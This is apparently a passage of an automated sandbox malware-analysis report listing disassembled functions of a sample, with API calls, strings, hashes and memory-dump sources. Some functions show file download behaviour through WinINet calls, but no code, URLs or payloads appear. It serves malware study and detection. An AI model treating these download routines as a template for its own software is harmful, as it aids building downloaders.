Opcode ID: 43bfc6addb4ef82b3eba14085431bb7548137eca9168f827e0cbc0b6f077e910
Instruction ID: 58063f8b226cf6e6d1833e63b29625ed4d015e7c9e48810328c3890537844d72
Opcode Fuzzy Hash: 43bfc6addb4ef82b3eba14085431bb7548137eca9168f827e0cbc0b6f077e910
Instruction Fuzzy Hash: 49012F37B18237231A141219AC02BAB57998F91BB8727402FFA54F72C0FD5DEC82419C

Uniqueness

Uniqueness Score: -1.00%

Function 00410014, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00410064

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction ID: 0d93d73468b09f87d9ef7135dd4aa8ebd36ada29da4d791985ae1a3ae0162fcd
Opcode Fuzzy Hash: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction Fuzzy Hash: EC11BC31B01225EBDB324B24FC44BAB7BA4AF49760B110122ED45A7350D6B4DDC186DD

Uniqueness

Uniqueness Score: -1.00%

Function 004165FC, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,agA,00000000,?,0041D0C5,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00416612
GetLastError.KERNEL32(?,0041D0C5,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00416761,00000000,00000104,?), ref: 0041661C
__dosmaperr.LIBCMT ref: 00416623

Strings

agA, xrefs: 00416602

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID: agA
API String ID: 2398240785-2637427811
Opcode ID: aec222294a0d8ce8b978f308a6de64fd7c5bef6ee438682f18e24d7c61871ae3
Instruction ID: fe48760646ffff483df900e44d367c1fcd9bf12732390f7954c1140dc131ea13
Opcode Fuzzy Hash: aec222294a0d8ce8b978f308a6de64fd7c5bef6ee438682f18e24d7c61871ae3
Instruction Fuzzy Hash: D2F03132200115BB8B215BA6DC0899BFF6DFF453A03168526F51DC7521D736E8A2DBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00416665, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,agA,00000000,?,0041D050,00000000,00000000,agA,?,?,00000000,00000000,00000001), ref: 0041667B
GetLastError.KERNEL32(?,0041D050,00000000,00000000,agA,?,?,00000000,00000000,00000001,00000000,00000000,?,00416761,00000000,00000104), ref: 00416685
__dosmaperr.LIBCMT ref: 0041668C

Strings

agA, xrefs: 0041666B

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID: agA
API String ID: 2398240785-2637427811
Opcode ID: 63806a6c6209ffcbc12013d1ceb7963755303f195f4e24f6a13356c3566b0642
Instruction ID: 1982b7d424c97b4da265894f81eacb40b146a14d7fee0b0cb49c55dd075f62aa
Opcode Fuzzy Hash: 63806a6c6209ffcbc12013d1ceb7963755303f195f4e24f6a13356c3566b0642
Instruction Fuzzy Hash: EBF06231200515BBCB201F62CC04997FF69FF453A43124516F51DC7620C735E8A1DBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407AE0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040857A
std::_Xinvalid_argument.LIBCPMT ref: 00408589

Strings

invalid stoi argument, xrefs: 00408575, 00408584
stoi argument out of range, xrefs: 00407ACB, 0040858E
:::, xrefs: 00407B09, 00407B7D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argumentstd::_
String ID: :::$invalid stoi argument$stoi argument out of range
API String ID: 909987262-1139504419
Opcode ID: 7830e5d6517efbf6ef1e0939f065e5972ae5a88559e4c9ea959a8c176dd43d04
Instruction ID: 6e98875f43086b852a1ff0dbe815e623138c5f8adb6bd3c6e19d30da16800a75
Opcode Fuzzy Hash: 7830e5d6517efbf6ef1e0939f065e5972ae5a88559e4c9ea959a8c176dd43d04
Instruction Fuzzy Hash: C0F08671A00218A6DB00FF9BD846B9D7BB59B44308FA4452DF504331C2DBBC655487E9

Uniqueness

Uniqueness Score: -1.00%

Function 004110C3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004110B8,?,?,00411080,00403AF0,75146490,?), ref: 004110D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004110EB
FreeLibrary.KERNEL32(00000000,?,?,004110B8,?,?,00411080,00403AF0,75146490,?), ref: 0041110E

Strings

CorExitProcess, xrefs: 004110E3
mscoree.dll, xrefs: 004110D1

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b37e2a0355cf052c7e7e456c1e71d6e36bed1f43a61ca4eb637a0100914bca8f
Instruction ID: 89d1d6a6511906fb8b10b3cdba021d603bd2b1b5d6d269f4ed68b4bcbc4a5649
Opcode Fuzzy Hash: b37e2a0355cf052c7e7e456c1e71d6e36bed1f43a61ca4eb637a0100914bca8f
Instruction Fuzzy Hash: 94F0A730B00228FBCB21DB60EC09BDFBA78EF04756F520075FA00A1160DB758E01EB98

Uniqueness

Uniqueness Score: -1.00%

Function 0211D881, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211D903
_free.LIBCMT ref: 0211D927
_free.LIBCMT ref: 0211DAB4
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042A578), ref: 0211DAC6
_free.LIBCMT ref: 0211DC80

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 43ee30c7ba166d1e1025ba4d1c2ab3c94bbe7b0064d6f6931672a8035e95404c
Instruction ID: b20b64d6fded706ef42164d28f451ff75889228289345a3f692526ce7ef5c861
Opcode Fuzzy Hash: 43ee30c7ba166d1e1025ba4d1c2ab3c94bbe7b0064d6f6931672a8035e95404c
Instruction Fuzzy Hash: 14C17E71A842089FDB34DF78FC81BAA7BBAAF46314F5440B9D491D7284E7309A06CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00403C30, Relevance: 7.7, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,?), ref: 00403C86

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b26fad67a508b4c4a5022864e86f4fd88c34bf11f87c8be5d52fb86e973b5588
Instruction ID: fc88b0bca923a07532a6eb78641dceaa207a15a50886e6470e9b438ae10ccdb1
Opcode Fuzzy Hash: b26fad67a508b4c4a5022864e86f4fd88c34bf11f87c8be5d52fb86e973b5588
Instruction Fuzzy Hash: 3E61E271E092089BEB20DF69DC457ADBBB9EB05316F5002BBD804A73C0E7794A8487C9

Uniqueness

Uniqueness Score: -1.00%

Function 02111A53, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,02111985), ref: 02111A75
GetFileInformationByHandle.KERNEL32(?,?), ref: 02111ACF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02111985,?,000000FF,00000000,00000000), ref: 02111B5D
__dosmaperr.LIBCMT ref: 02111B64
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 02111BA1

Part of subcall function 02111DC9: __dosmaperr.LIBCMT ref: 02111DFE

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: a23d261a52b5f9b846104edee53f27537c0404e818dce516698b2e32cd5f43d1
Instruction ID: 92e6dd6fcaed820f66a953bfbeadc36a1b31a8f153ff9b86ed3829883cb2a8e5
Opcode Fuzzy Hash: a23d261a52b5f9b846104edee53f27537c0404e818dce516698b2e32cd5f43d1
Instruction Fuzzy Hash: A9413A75940208AFDB34DFA9DC45AAFFBF9EF89300B10492DE95AD3610E7309945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02105DE0, Relevance: 7.6, APIs: 5, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 02105E15
InternetOpenA.WININET(0042BC85,00000000,00000000,00000000,00000000), ref: 02105E2A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 02105E4A
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 02105E61
CloseHandle.KERNEL32(00000000), ref: 02105EA3

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: Internet$FileOpen$CloseCreateHandleRead
String ID:
API String ID: 2307989922-0
Opcode ID: ce1beb23994ba6cfe60ad75172c2035a9ced062f96f421e070562818efa0cf88
Instruction ID: 45b01acf7774031fedfde7f3cba373c67c7ce80f4c30a7afaad42c22d3747287
Opcode Fuzzy Hash: ce1beb23994ba6cfe60ad75172c2035a9ced062f96f421e070562818efa0cf88
Instruction Fuzzy Hash: A331A731340208BFEB20CF64CC85FED376AEB48704FA04529FA44962C1C7B9E9818F54

Uniqueness

Uniqueness Score: -1.00%

Function 0211B916, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211B92E

Part of subcall function 02115711: HeapFree.KERNEL32(00000000,00000000,?,021147F3), ref: 02115727
Part of subcall function 02115711: GetLastError.KERNEL32(?,?,021147F3), ref: 02115739

_free.LIBCMT ref: 0211B940
_free.LIBCMT ref: 0211B952
_free.LIBCMT ref: 0211B964
_free.LIBCMT ref: 0211B976

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction ID: c15373dda52ae4ca0d066c610e787b383b0ad6a87104aa86ada13a223f145754
Opcode Fuzzy Hash: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction Fuzzy Hash: 24F09672688244FB8630FF69F8C5C1673EBAE443583E50839F048DB514CB34F8828E64

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6C6, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041B6DE

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 0041B6F0
_free.LIBCMT ref: 0041B702
_free.LIBCMT ref: 0041B714
_free.LIBCMT ref: 0041B726

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 72c623a330305ed8c8d887ea2e85d0e1707ef1c6524a41b347e3d58e20e3bcd1
Instruction ID: a39dbec80042cf7ab2af5a54609ca5fcb94fb6c3dd62ab813c31dfe5020b408c
Opcode Fuzzy Hash: 72c623a330305ed8c8d887ea2e85d0e1707ef1c6524a41b347e3d58e20e3bcd1
Instruction Fuzzy Hash: 66F04F32600610A78620FB66F8C5DDB77E9EA84351794580BF098D7642CB38FCC186AC

Uniqueness

Uniqueness Score: -1.00%

Function 02119FE3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211A17D

Strings

*?, xrefs: 0211A026

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 0a53196b252b46736e61d4d1bcca109f78a400bdedf12c68fddac8ae25f72c85
Instruction ID: 3b7c34fae5f0d844b5410b5896c04c7a7cc288f5aa6987a284565c1180b83567
Opcode Fuzzy Hash: 0a53196b252b46736e61d4d1bcca109f78a400bdedf12c68fddac8ae25f72c85
Instruction Fuzzy Hash: 27613BB5E40219AFDB14CFA8C8809EDFBF6EF48310B25816AE815E7300D775AE41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00419D93, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00419F2D

Strings

*?, xrefs: 00419DD6

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: f63c959fec63c638acbb7ef9835275d00cb3544718f5775b9b35536119c19f2a
Instruction ID: 0e352be0efe34e277c7e4760dbf0677bf23d989de96f83cd80e8d90098d39d98
Opcode Fuzzy Hash: f63c959fec63c638acbb7ef9835275d00cb3544718f5775b9b35536119c19f2a
Instruction Fuzzy Hash: 0B615E75E00219AFCF14CFA9C8915EEFBF5EF48314B24816AE815E7340D779AE818B94

Uniqueness

Uniqueness Score: -1.00%

Function 0210FB50, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0210FB8F
__IsNonwritableInCurrentImage.LIBCMT ref: 0210FC43

Strings

csm, xrefs: 0210FC2D
csm, xrefs: 0210FCC1

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 3480331319-3733052814
Opcode ID: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction ID: 63588798a8737f5d59e43691ced05166f198121257fcfeae593bcaa17b43ecfb
Opcode Fuzzy Hash: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction Fuzzy Hash: CA51A134A40218DFCB38DF28C886A9E7BA5FF45314F148069D8155B691CBB6D943CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02102500, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0042BD08,00000000,00000000,00000000,00000000), ref: 021025A1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 021025B3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 021025CA

Strings

<, xrefs: 0210277C

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: Internet$Open$FileRead
String ID: <
API String ID: 72386350-4251816714
Opcode ID: 519ad3425170169ec7a3250091affb38a33a4e4d60e286dab4301b69ad61906d
Instruction ID: 5070ab3ecfa79f45f551385f1af5115618f31bc53578011eb666476d47d12e78
Opcode Fuzzy Hash: 519ad3425170169ec7a3250091affb38a33a4e4d60e286dab4301b69ad61906d
Instruction Fuzzy Hash: AE410731E40119ABDB18CFA4DC94BEEB77AEF44300F508459E811A72D1DBB4AA45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00416558, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000105,?,?,?,agA), ref: 00416591
GetCurrentDirectoryW.KERNEL32(00000001,00000000,00000104,00000000,?,?,agA), ref: 004165C4
_free.LIBCMT ref: 004165E5

Strings

agA, xrefs: 0041656D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory$_free
String ID: agA
API String ID: 2913637552-2637427811
Opcode ID: 7d9eabdb441339ac047decfa16c8b3fdf1c7eebe427c0b09c8e6da9f68a8d314
Instruction ID: 9d0f8bc13d9cd8409b4ed1e15322f7ab0248507ce056390ebc8deae956cba42f
Opcode Fuzzy Hash: 7d9eabdb441339ac047decfa16c8b3fdf1c7eebe427c0b09c8e6da9f68a8d314
Instruction Fuzzy Hash: 84014C726002147BE720AB21BC89EEB77ADDB84314F52006FF504D7085DE78DEC585A9

Uniqueness

Uniqueness Score: -1.00%

Function 00407120, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00407AB7
std::_Xinvalid_argument.LIBCPMT ref: 00407AC6

Strings

invalid stoi argument, xrefs: 00407AB2, 00407AC1, 00408575, 00408584
stoi argument out of range, xrefs: 00407ACB, 0040858E

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid stoi argument$stoi argument out of range
API String ID: 909987262-1606216832
Opcode ID: 7966cb39fd00ecbfbcc74c2c2a889e2096aecc4dbfdb33b72d4a727a0856f0fd
Instruction ID: c23342b3269767f06ddacd654a4abb89c3490b8dfdf046251d35b8837c83ab9e
Opcode Fuzzy Hash: 7966cb39fd00ecbfbcc74c2c2a889e2096aecc4dbfdb33b72d4a727a0856f0fd
Instruction Fuzzy Hash: 5BF09671904218A6DB10FBA68802BCD7FB89F00304F60001AF91433182D7B8395486F6

Uniqueness

Uniqueness Score: -1.00%

Function 0211891A, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 021189A1

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: fa47b440334941d452c142b16a18679f2c4c2bd7d0f43d2425b8a78ef3cdc40c
Instruction ID: c82ea0785323a2aca46030ff622c1ed5df86723a32ff12a94829e931467c1932
Opcode Fuzzy Hash: fa47b440334941d452c142b16a18679f2c4c2bd7d0f43d2425b8a78ef3cdc40c
Instruction Fuzzy Hash: 7BB16A729416999FEB25CF28C8807EEBBF6EF45340F16C1BAD854AB381D3349901CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004186CA, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00418751

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6d0fcd9e8ca64aa98b8ad366b7f02e1ca44db32ecf6a2a1d0e69540dc2528efd
Instruction ID: 560596ec7e37f14c04316295b7cb4fd2eae0d342fd8a579eee232b68144b6b6c
Opcode Fuzzy Hash: 6d0fcd9e8ca64aa98b8ad366b7f02e1ca44db32ecf6a2a1d0e69540dc2528efd
Instruction Fuzzy Hash: 7AB10272A102459FDB119F28C8817FFBBE5EF55340F2441AFE8549B341DA3C9982CB69

Uniqueness

Uniqueness Score: -1.00%

Function 02106074, Relevance: 6.2, APIs: 4, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 02106083
HttpSendRequestA.WININET(00000000,00000000,?), ref: 0210612C
InternetReadFile.WININET(00000000,?,000003FF,00000010), ref: 021061BD
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 02106244

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: FileHttpInternetReadRequest$OpenSend
String ID:
API String ID: 947651290-0
Opcode ID: 904cc2ce5ff8bf6cee2c7f1abe25be3c3cc71af15eff2d3c8f81a232e55ea554
Instruction ID: 6d58d0b2c3065e6dc408106c7dc7b9fa179081c1037e3fda59bccbb2d27aec12
Opcode Fuzzy Hash: 904cc2ce5ff8bf6cee2c7f1abe25be3c3cc71af15eff2d3c8f81a232e55ea554
Instruction Fuzzy Hash: 3A812531A40048AFEB18DF28CCC4BAE7B7AEF89304F544168F814973D5DBB5DA918B91

Uniqueness

Uniqueness Score: -1.00%

Function 0212076E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0212083E
_free.LIBCMT ref: 02120867
SetEndOfFile.KERNEL32(00000000,0211CC55,00000000,021155AE,?,?,?,?,?,?,?,0211CC55,021155AE,00000000), ref: 02120899
GetLastError.KERNEL32(?,?,?,?,?,?,?,0211CC55,021155AE,00000000,?,?,?,?,00000000), ref: 021208B5

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction ID: 56bc2164edfae3c4612e6abd1e03c51c036e9605a23e4498a1a45cbe407c7649
Opcode Fuzzy Hash: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction Fuzzy Hash: 51419772D80625AFDB15ABB88C45B9F7777EF5C320F250234F82497290E734C9698BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0042051E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004205EE
_free.LIBCMT ref: 00420617
SetEndOfFile.KERNEL32(00000000,0041CA05,00000000,?,?,?,?,?,?,?,?,0041CA05,?,00000000), ref: 00420649
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041CA05,?,00000000,?,?,?,?,?), ref: 00420665

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: b1351da34f64ce5d69f6e8cda8c6eeea1a19b5b9b296a3b872742f7a350333dc
Instruction ID: 960fb58cf6f23020af512c85160b1bf2a67ab43dcb0f58da72c25fd8b3413fdb
Opcode Fuzzy Hash: b1351da34f64ce5d69f6e8cda8c6eeea1a19b5b9b296a3b872742f7a350333dc
Instruction Fuzzy Hash: 6A41F872B00215ABCB11AB6ADC46BDF3AE5EF84324F540117F514D72A3D67CD8A08B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403EE0, Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00403F36

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: f27aa0819eba5a595a7de49b5dbec00608ee8a496ba456444402191d664ad172
Instruction ID: b5cf2b7309114b8609beb7503341a49d43379c7fc9661a5a7bf876c8a635a089
Opcode Fuzzy Hash: f27aa0819eba5a595a7de49b5dbec00608ee8a496ba456444402191d664ad172
Instruction Fuzzy Hash: 31312770D0021897DB20EF68DC4A7DEBB75EF41315F40427AE900732C1EB794A858BD9

Uniqueness

Uniqueness Score: -1.00%

Function 02119F14, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 02111797: _free.LIBCMT ref: 021117A5

Part of subcall function 0211AEEB: WideCharToMultiByte.KERNEL32(02103D40,00000000,0042CEB8,00000000,02103D40,02103D40,02117EF7,?,0042CEB8,?,00000000,?,02117C66,0000FDE9,00000000,?), ref: 0211AF8D

GetLastError.KERNEL32 ref: 02119F7C
__dosmaperr.LIBCMT ref: 02119F83
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 02119FC2
__dosmaperr.LIBCMT ref: 02119FC9

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: f624358d235691ce9a0a371fa08fb7bf6c8004fea39919ec22af2019dff57810
Instruction ID: d6a852f5ade70445fd788dbc30a05bce08f22ab6709ce9380cf1f5726f1968e0
Opcode Fuzzy Hash: f624358d235691ce9a0a371fa08fb7bf6c8004fea39919ec22af2019dff57810
Instruction Fuzzy Hash: 4F21927168421ABF9B24AF658C90D6FBBAEEF043647108538F93997650E731EC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419CC4, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00411547: _free.LIBCMT ref: 00411555

Part of subcall function 0041AC9B: WideCharToMultiByte.KERNEL32(00403AF0,00000000,0042CEB8,00000000,00403AF0,00403AF0,00417CA7,?,0042CEB8,?,00000000,?,00417A16,0000FDE9,00000000,?), ref: 0041AD3D

GetLastError.KERNEL32 ref: 00419D2C
__dosmaperr.LIBCMT ref: 00419D33
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00419D72
__dosmaperr.LIBCMT ref: 00419D79

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 1c3af7858ea50f7c5b5e6d64a6857d60a2eae298f119b56bdb5357b17a8338d4
Instruction ID: 4d93f7510ca8fb492935d04f0bce4db79238aaac4d275d244a80cacbd3f4cc59
Opcode Fuzzy Hash: 1c3af7858ea50f7c5b5e6d64a6857d60a2eae298f119b56bdb5357b17a8338d4
Instruction Fuzzy Hash: 96212B712002057FDB20AF66DC809EBBBACEF44368710461EF919C7251E738ECD08BA9

Uniqueness

Uniqueness Score: -1.00%

Function 021162BC, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction ID: 2ad3dd516cae15ee854e15e85f27504978e0854664ac7929d8358243822ef25f
Opcode Fuzzy Hash: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction Fuzzy Hash: E321A571B91271ABCB318B689D81B6B766CAF01BA4F560131ED29AB290D732ED01C5E4

Uniqueness

Uniqueness Score: -1.00%

Function 02116002, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,02111715,?,?,?,?,02112382,?), ref: 02116007
_free.LIBCMT ref: 02116064
_free.LIBCMT ref: 0211609A
SetLastError.KERNEL32(00000000,0042E0F8,000000FF,?,?,02111715,?,?,?,?,02112382,?), ref: 021160A5

Memory Dump Source

